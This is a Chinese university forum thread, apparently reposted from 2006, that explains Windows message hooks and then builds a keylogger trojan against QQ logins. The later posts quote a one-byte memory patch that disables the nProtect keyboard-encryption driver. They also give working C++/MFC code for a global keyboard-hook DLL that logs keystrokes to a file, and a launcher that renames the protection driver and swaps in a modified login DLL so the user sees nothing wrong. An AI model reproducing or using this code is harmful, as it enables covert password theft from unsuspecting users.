东陆风华BBS

 找回密码
 注册东陆风华通行证
东陆风华论坛18周年庆(2005.3.28-2023.3.28)东陆风华-云南大学各专业历年考研复试信息汇总帖送人玫瑰手留余香-云南大学历年考研复试信息汇总
东陆风华-云南大学各学院考研QQ群号码
申请东陆风华实名认证免费领取云大考研考博真题如何申请云南大学考研论坛VIP会员?VIP特权?
东陆风华-云南大学各省校友&云南省各地州校友QQ群云南大学呈贡校区图片 &宿舍图片&图片云大 东陆风华送人玫瑰手留余香-云南大学2021年考研复试信息分享
返回列表 发新帖
查看: 3617|回复: 4

Win 32的Hook机制及其简单应用(针对QQ)(ZT)

[复制链接]

该用户从未签到

发表于 2006-8-1 15:40:43 | 显示全部楼层 |阅读模式

东陆风华帐号全站通用,包括论坛、商城、网络家园等站点,登陆查看更精彩内容

您需要 登录 才可以下载或查看,没有帐号?注册东陆风华通行证

x
来到云软快一年了,想说自己学到了很多东西,其实没有。不管是大一上学期的C还是这学期的ASM,除了完成教程规定的实验外,基本其它什么应用都没有做过,哎!(当然了,几个牛人除外。。。。)
作为一个男生,和大多数男生一样,总是对一些词汇特别有兴趣,比如“黑客(Hacker)”,“破解(Crack)”,“木马(Trojan)”,“攻击,入侵(Invasion)”等等。。。。这些也应该是作为一个计算机学生所感兴趣的。当然了,光感兴趣是远远不够的,应该是由这些兴趣指导我们去学习它,研究它。好了,废话说的差不多了,下面进入正题:
——Hook的机制及其简单应用。
下面的参考资料:


CODE:[Copy to clipboard]         关于Hook
        
一、基本概念:

    钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。

    钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

二、运行机制:

1、钩子链表和钩子子程:

    每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。这个列表的指针指向指定的,应用程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。当与指定的Hook类型关联的消息发生时,系统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。

        Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载,Windows 便释放其占用的内存,并更新整个Hook链表。如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸载钩子的操作。

    钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C函数。用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系统中所有线程的事件。

    钩子子程必须按照以下的语法:
    LRESULT CALLBACK HookProc
        (
        int nCode,
             WPARAM wParam,
             LPARAM lParam
     );
HookProc是应用程序定义的名字。

nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。
wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。

2、钩子的安装与释放:

    使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件到下一个Hook子程需要调用CallNextHookEx函数。
   
HHOOK SetWindowsHookEx(
     int idHook,      // 钩子的类型,即它处理的消息类型
     HOOKPROC lpfn,   // 钩子子程的地址指针。如果dwThreadId参数为0
                           // 或是一个由别的进程创建的线程的标识,
                           // lpfn必须指向DLL中的钩子子程。
                           // 除此以外,lpfn可以指向当前进程的一段钩子子程代码。
                           // 钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数。
     HINSTANCE hMod,  // 应用程序实例的句柄。标识包含lpfn所指的子程的DLL。
                           // 如果dwThreadId 标识当前进程创建的一个线程,
                           // 而且子程代码位于当前进程,hMod必须为NULL。
                           // 可以很简单的设定其为本应用程序的实例句柄。
     DWORD dwThreadId // 与安装的钩子子程相关联的线程的标识符。
                           // 如果为0,钩子子程与所有的线程关联,即为全局钩子。
                 );
  函数成功则返回钩子子程的句柄,失败返回NULL。

  以上所说的钩子子程与线程相关联是指在一钩子链表中发给该线程的消息同时发送给钩子子程,且被钩子子程先处理。

    在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它,以执行钩
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html
云南大学2016年考研复试信息分享

该用户从未签到

 楼主| 发表于 2006-8-1 15:41:14 | 显示全部楼层
子链表所指的下一个钩子子程。这个函数成功时返回钩子链中下一个钩子过程的返回值,返回值的类型依赖于钩子的类型。这个函数的原型如下:

LRESULT CallNextHookEx
                        (
                                HHOOK hhk;
                                int nCode;
                                WPARAM wParam;
                                LPARAM lParam;
                         );
                        
hhk为当前钩子的句柄,由SetWindowsHookEx()函数返回。
NCode为传给钩子过程的事件代码。
wParam和lParam 分别是传给钩子子程的wParam值,其具体含义与钩子类型有关。
               
    钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果。

    钩子在使用完之后需要用UnHookWindowsHookEx()卸载,否则会造成麻烦。释放钩子比较简单,UnHookWindowsHookEx()只有一个参数。函数原型如下:

UnHookWindowsHookEx
                (
                HHOOK hhk;
                );
函数成功返回TRUE,否则返回FALSE。

3、一些运行机制:

    在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,DLL函数中的代码所创建的任何对象(包括变量)都归调用它的线程或进程所有。当进程在载入DLL时,操作系统自动把DLL地址映射到该进程的私有空间,也就是进程的虚拟地址空间,而且也复制该DLL的全局数据的一份拷贝到该进程空间。也就是说每个进程所拥有的相同的DLL的全局数据,它们的名称相同,但其值却并不一定是相同的,而且是互不干涉的。
        
        因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。在访问同一个Dll的各进程之间共享存储器是通过存储器映射文件技术实现的。也可以把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性设置为共享。必须给这些变量赋初值,否则编译器会把没有赋初始值的变量放在一个叫未被初始化的数据段中。

        #pragma data_seg预处理指令用于设置共享数据段。例如:
#pragma data_seg("SharedDataName")
HHOOK hHook=NULL;
#pragma data_seg()
        在#pragma data_seg("SharedDataName")和#pragma data_seg()之间的所有变量 将被访问该Dll的所有进程看到和共享。

    当进程隐式或显式调用一个动态库里的函数时,系统都要把这个动态库映射到这个进程的虚拟地址空间里(以下简称"地址空间")。这使得DLL成为进程的一部分,以这个进程的身份执行,使用这个进程的堆栈。

4、系统钩子与线程钩子:

    SetWindowsHookEx()函数的最后一个参数决定了此钩子是系统钩子还是线程钩子。
   
    线程勾子用于监视指定线程的事件消息。线程勾子一般在当前线程或者当前线程派生的线程内。
   
    系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序,所以勾子函数必须放在独立的动态链接库(DLL) 中。系统自动将包含"钩子回调函数"的DLL映射到受钩子函数影响的所有进程的地址空间中,即将这个DLL注入了那些进程。

几点说明:
(1)如果对于同一事件(如鼠标消息)既安装了线程勾子又安装了系统勾子,那么系统会自动先调用线程勾子,然后调用系统勾子。

(2)对同一事件消息可安装多个勾子处理过程,这些勾子处理过程形成了勾子链。当前勾子处理结束后应把勾子信息传递给下一个勾子函数。

(3)勾子特别是系统勾子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装勾子,在使用完毕后要及时卸载。

三、钩子类型

    每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的Hook类型。

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks

    WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

    WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook

    在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:
    1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
    2. 完成系统指令;
    3. 来自系统消息队列中的移动鼠标,键盘事件;
    4. 设置输入焦点事件;
    5. 同步系统消息队列事件。
   
    Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。

3、WH_DEBUG Hook

    在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程。

4、WH_FOREGROUNDIDLE Hook

    当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。

5、WH_GETMESSAGE Hook

    应用程序使用WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。

6、WH_JOURNALPLAYBACK Hook

    WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过使用WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长时间(毫秒)。这就使Hook可以控制实时事件的回放。WH_JOURNALPLAYBACK是system-wide local hooks,它們不會被注射到任何行程位址空間。

7、WH_JOURNALRECORD Hook

    WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook一样使用。WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何行程位址空間。

8、WH_KEYBOARD Hook

    在应用程序中,WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。

9、WH_KEYBOARD_LL Hook

    WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

10、WH_MOUSE Hook

    WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。

11、WH_MOUSE_LL Hook

    WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks

    WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现用户使用ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER Hook监视所有应用程序消息。
   
    WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。
   
通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。

13、WH_SHELL Hook

    外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁时,系统调用WH_SHELL Hook子程。
        WH_SHELL 共有5钟情況:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。

    按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调用SystemParametersInfo function注册它自己。
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

该用户从未签到

 楼主| 发表于 2006-8-1 15:41:29 | 显示全部楼层
好了,基本理论是介绍完了,下面仅以我写的一个QQ登录键盘记录木马来具体谈谈。
         还是先说说关于QQ的东西吧,QQ的使用呢应该每个人都有一定的经验吧。也许有的人自己心爱的QQ就丢过,大部分原因就是中了QQ木马(我自己就曾中过着,还好后来填申诉表找回来了^^)。什么是木马呢?简单的说一下:木马就是一种远程控制恶意程序,木马会未经用户许可,记录用户的键盘录入,盗取用户银行账户,密码等信息,并将其发送给攻击者。而QQ木马一般就指专门盗取QQ的程序。具me对目前大多数QQ木马分析来看,一般QQ木马都有如下几个基本特征:①隐蔽性。有的只要用户一运行它,它就将其代码注入到某个进程里(一般是系统进程,当然了,必须先取得权限)然后删除自身exe文件;另一种是不注入,而是隐藏自身进程,让一般用户难以发现。②自我保护性。木马作者为了保护他的小马不被Antvirus或Antitrojan软件所截杀一般都将其加壳(shell),关于加壳的种种,有兴趣的同学自己查查,这里不再作讨论了。这个方法是从外部进行保护,而有的木马内部代码保护。一般做的都是进程防杀,即使被用户发现它的进程,也不能清除(可创建2个或更多的进程互相监视,发现其一被终止,马上又重新激活它;可以让自身与某个系统进程相关联,让用户不能终止它)③传播性。木马自身可以创建自身的复本,并通过一定方法将其发散出去(可以通过向别人发送消息(QQ尾巴);可以向别人发送邮件等等。。。。)在理想情况下,这使得木马传播的速度呈几何级数的增长,大大减轻了木马种植者的劳动。。。。(还有什么特征,欢迎大家补充^^)
         下面说说QQ木马的一个最基本功能:获取QQ号及其密码(- -#),这是及其重要的基本功能。随着Tencent公司对QQ的技术改进,要盗取QQ已经越来越难了。记得N久以前,大概是2001年的时候,Windows XP还测出来的时候吧,在Windows OS下只要对所感兴趣的控件SendMessage,并带上WM_GETTEXT参数,就可以获得该控件的内容了。当然了,QQ号的及密码用的都是该类控件。后来Microsoft意识到了这些不完全的因素,对Edit控件做了更改,设置了Password属性。当然,能设置就是更改,只要先向所需控件发送消息,修改其属性为普通文本,再WM_GETTEXT一样可以获取其password-。=!到此,只有Tencent本身想办法了。QQ以前用了很长一段时候的软键盘输入方式,这种方式最大的弊端就是对被挂了远程控制的用户毫无作用(可以通过屏幕监视直接看。。。。)也许Tencent现在不采用软键盘的另一个原因就是其软键盘的算法已被破解。汗。。。。。好像扯太远了- -!而现在Tencent所采用的措施——键盘加密保护技术才是我们研究的对象。(关于什么是键盘加密保护,请上网了解一下^^),先看看一个牛人写的对那个技术的分析吧:
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

该用户从未签到

 楼主| 发表于 2006-8-1 15:41:41 | 显示全部楼层
升级QQ,发现登陆界面的软键盘没有了,取而代之的是一个带金锁图标的密码框。试了两个键盘记录工具,原理分别是GetAsyncKeyState和键盘类过滤驱动,发现无效,恩,有点意思,正好用来打发时间。   先看腾讯是怎么吹的:“QQ2005 Beta3采用了国际先进的nProtect键盘加密保护技术,能最大限度地防止用户的密码输入不被 病毒 、键盘记录程序所窃取,大大提高了QQ用户的帐号安全性。”   nProtect是什么?从来没听过。还是老老实实看代码吧。既然能对付驱动级的嗅探,显然也用了驱动。对比QQ启动前后的驱动列表,很容易就定位到npkcrypt.sys。光凭这一点就让我不看好这个功能,这么容易就找到研究目标,设计者的反破解意识实在不怎么样。把驱动改名,重启系统,然后保护功能就失效了!当然,事情可没这么简单,因为这时那把金锁上多了个“禁用”图标,提醒用户保护功能已失效。   明的不行就来暗的——代码级破解。首先看导入函数,用到了IoAttachDeviceToDeviceStack,似乎走的还是设备栈的老路。于是祭出WinDbg查看KeyboardClass0/1的设备栈,居然没有异常,那八成就是挂键盘中断了,导入的函数HalGetInterruptVector就是用来干这个的。列出所有中断向量(WinDbg没有类似SoftICE的idt命令,不爽的很),一眼就发现n个80开头的地址中有个f7开头的,哈,就是它。   再次重启系统,先列出原先的IDT,启动QQ后还原被修改的条目,然后尝试键盘记录,无效。再看IDT,靠,又被改回去了!在这个中断向量的地址上设内存读写断点,只断到了读操作,却没有写操作。但明明就被改回去了啊。郁闷了一分钟之后,我开始看驱动的反汇编代码。从被断到的读操作开始跟踪,我发现读到的值被保存在全局变量里,而所有对这个变量的操作中,几乎都是赋值,只有一个cmp指令,比较保存的值和读取的值,如果不同就关中断,然后修改成QQ自己的中断服务地址(难怪断不到,关中断了嘛)。   到这里问题就算解决了,把紧随cmp之后的jz改为jnz,中断向量再也不会被改回去啦,键盘记录(不管是哪种)当然也有效了,金锁还是老样子。所谓的“国际先进技术”原来只是从DOS时代就被大玩特玩的中断挂钩,钩住键盘中断后直接把ScanCode传给应用程序。如果QQ能绕过Windows的中断映射机制,控制PIC或APIC重新映射键盘中断,那还有点看头。(一个聊天工具而已,至于吗?)当然至于,因为她也许是世界上使用人数最多的聊天工具啊。   详细的破解过程就不说了(我只是打发时间,不是存心和腾讯过不去哦),只说说一字节补丁的位置:npkcrypt.sys驱动模块(文件版本2005.6.22.1,大小20,386字节)加载基址偏移0x14b3,从0x74(jz)改为0x75(jnz),当然键盘中断向量也要还原。还有一种改法更简单,直接在QQ的键盘中断服务入口添加跳转指令,跳回到原服务地址。注意,这些都只是内存补丁,文件补丁比较麻烦,QQ似乎会在加载驱动前先对文件做校验。这就不是我所感兴趣的了,闪人。
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

该用户从未签到

 楼主| 发表于 2006-8-1 15:42:15 | 显示全部楼层
呵呵,这个学期学习的汇编知识终于正式派上用场了吧!大家应该都能看个大概意思的,可以自己去验证,这里我还是先说说QQ的文件校验。
        以前我写过ResHacker修改QQ的教程,很多朋友反应说修改以后QQ就不能正常启动了。其根本原因就是修改到了QQ的一些特征文件。不能正常启动就是QQ在启动的时候对文件进行校验的结果。从我做实验的结果来看,QQ只对文件大小和文件名,以及特别控件(比如密码框)作启动校验。但是对那个键盘加密保护作校验时如果失败的话一样能正常使用QQ,只是会作出提示,说那个技术启动失败,提醒用户小心。而一个准QQ木马必须要做的就是突破那个所谓的键盘加密保护而不被用户察觉,这就是技术的关键所在。哎!可惜以我目前的汇编功底,还不能做到用汇编开发木马。不说了,还是拿起Visual C++,以MFC开发为例,简单的讲一讲Hook函数在QQ号记录上的实现。
(1)        打开Visual C 6.0,新建一个MFC AppWizard(dll)工程,工程文件名为HookKB,在MFC AppWizard----Step 1 of 1中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)的选项,其他取默认选项,单击Finish按钮完成。
(2)        在hookKB.h中声明两个DLL的导出函数:
LRESULT __declspec(dllexport)__stdcall        CALLBACK KeyboardPeoc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL __declspec(dllexport)__stdcall        installhook();
(3)        KeyboardProc用于处理的键盘消息,installhook用于安装键盘钩子。在hookKB.def文件中,添加导出函数:
EXPORTS
; Explicit exports can go here
KeyboardProc
Installhook
(4)        在hookKB.cpp中做以下修改。
1)添加全局共享数据变量,用#pragma data_seg方法建立一个新的数据段并定义共享数据:
#pragma data_seg(“.SHARDAT”)
Static HHOOK hkb = NULL;
FILE *f1;
#pragma data_seg()
HINSTANCE hins;
          2)实现KeyboardProc和installhook以及UnHook()函数。
                        // 详细参数明说参看MSDN,这里不想写了,写不动了。。。。
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
                                char ch;
                                if(((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode)){
if((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)){
                                        f1 = fopen("c:\\reprot.txt", "a+");
                                        If(wParam == VK_RETURN){
                                                ch = '\n';
                                                fwrite(&ch, 1, 1, f1);
                                        }
                                        else{
                                                BYTE ks[256];
                                                GetKeyboardState(ks);
                                                WORD w;
                                                UINT scan;
                                                scan = 0;
                                                ToAscii(wParam, scan, ks, &w, 0);
                                                ch = char(w);
                                                fwrite(&ch, 1, 1, f1);
                                        }
                                        fclose(f1);
                                }
                        }

                        LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam);
                                return RetVal;
}

BOOL __declspec(dllexport)__stdcall installhook()
{
                                f1 = fopen("c:\\reprot.txt", "w");
                                fclose(f1);
hkb = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hins, 0);
                                return TRUE;
}

BOOL __declspec(dllexport) UnHook()
{
                                BOOL unhooked = UnhookWindowsHookEx(hkb);
                                return unhooked;
}
3)        在Class Wizard中为CHookKBApp类添加对InitInstance和ExitInstance事件的响应函数。
BOOL CHookKBApp::InitInstance()
{
                AFX_MANAGE_STATE(AfxGetStaticModuleState());
                hins = AfxGetInstanceHandle();
                return CWinApp::InitInstance();
}
int CHookKBApp::ExitInstance()
{
          UnHook();
          return CWinApp::ExitInstance();
}
4)        编译并调试生成hookKB.dll
现在来看看实现调用该dll的应用程序。
1)打开Visual C++ 6.0,新建一个MFC AppWizard(exe)工程,工程名为KBrecorder,在MFC AppWizar----Step 1 of 1中选择基于对话框的选项,其他默认选项,单击Finish按钮完成。
2)        修改对话框资源。这里我只写写ID了:分别是
IDC_STATIC (是个静态文本)
IDOK   (按钮)
IDCANCEL (按钮)
文本自己想写什么都行- -!
3)        在Class Wizard中添加单击对IDOK按钮的事件的响应函数。
      
void CKBrecorderDlg::OnOK()
{
                                TODO: Add extra validation here
                                tic HINSTANCE hinstDLL;
                                edef BOOL (CALLBACK *inshook)();
                                hook instkbhook;
a:
                                if(FindWindow("#32770", "QQ用户登录")){
                                        hinstDLL = LoadLibrary((LPCTSTR)"hookKB.dll");
                                        instkbhook = (inshook)GetProcAddress(hinstDLL, "installhook");
                                        instkbhook();
                                        ShowWindow(SW_MINIMIZE);
                                }
                                else {
MessageBox("Hehe, you haven't run the QQ, please run it, and try again^^", "prompt by 88250", MB_OK);
                                        Sleep(3000);
                                        goto a;
                                }
                        //CDialog::OnOK();
}
4)        修改CKBrecorderApp(),完成突破键盘保护。。。。(QQ的安装路径也可以用递归搜索来做,这里简化为直接指定了)
CKBrecorderApp::CKBrecorderApp()
{
                        // TODO: add construction code here,
rename("C:\\Program Files\\Tencent\\QQ\\npkcrypt.sys", "C:\\Program Files\\Tencent\\QQ\\npkcrypt");
CopyFile("D:\\test\\LoginCtrl.dll","C:\\Program Files\\Tencent\\QQ\\LoginCtrl.dll", FALSE);
// 具体路径可以多猜几个备用^^
}
5)自己进行LoginCtrl.dll文件的修改。。。。本来我是想写个读取.dll并修改它的模块的,但是这个东西需要一定的PE文件分析功底。哎!由于自己水平有限,只能从外部进行修改并替换原有的文件了>_<~~~~
        这两个方法都是从外表蒙蔽粗心的用户,即使加密技术启动失败也一样是个正常的小锁图标,不过内容仍然是启动失败的哦,呵呵。
6)调试生成Kbrecorder.exe,并与hookKB.dll及LoginCtr.dll放在同一个目录下(注意与上面的路径一致)。
        终于是好了。。。。现在可以进行测试了,应该是没什么大问题的吧。以上只是一个简单的测试,要想将它做成一个真正的木马的话还要加上邮件发送部分,隐藏自身,防杀,加壳等等部分。。。。这里就不说了,一并略去^^因为本人也很B4那些种马的人,不过,对于写马的人还是相当崇敬的。毕竟,就是他们才促进了一些技术的发展,而种马的有几个真正具备这些技术的呢?还用来侵害他人,哎。。。。
        最后,申明一下本文只是用来做为个技术交流,不要拿去害人哟^^如果你有什么好的想法,欢迎大家一直讨论。
                                                                                                我的邮箱:DL88250@126.com
                                                                                                     QQ:845765
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

本版积分规则

关闭

站长推荐上一条 /2 下一条

QQ|小黑屋|手机版|Archiver|东陆风华,凝聚云大人的力量 ( 滇ICP备07500061号-1 )

GMT+8, 2024-5-9 09:52 , Processed in 0.125000 second(s), 28 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表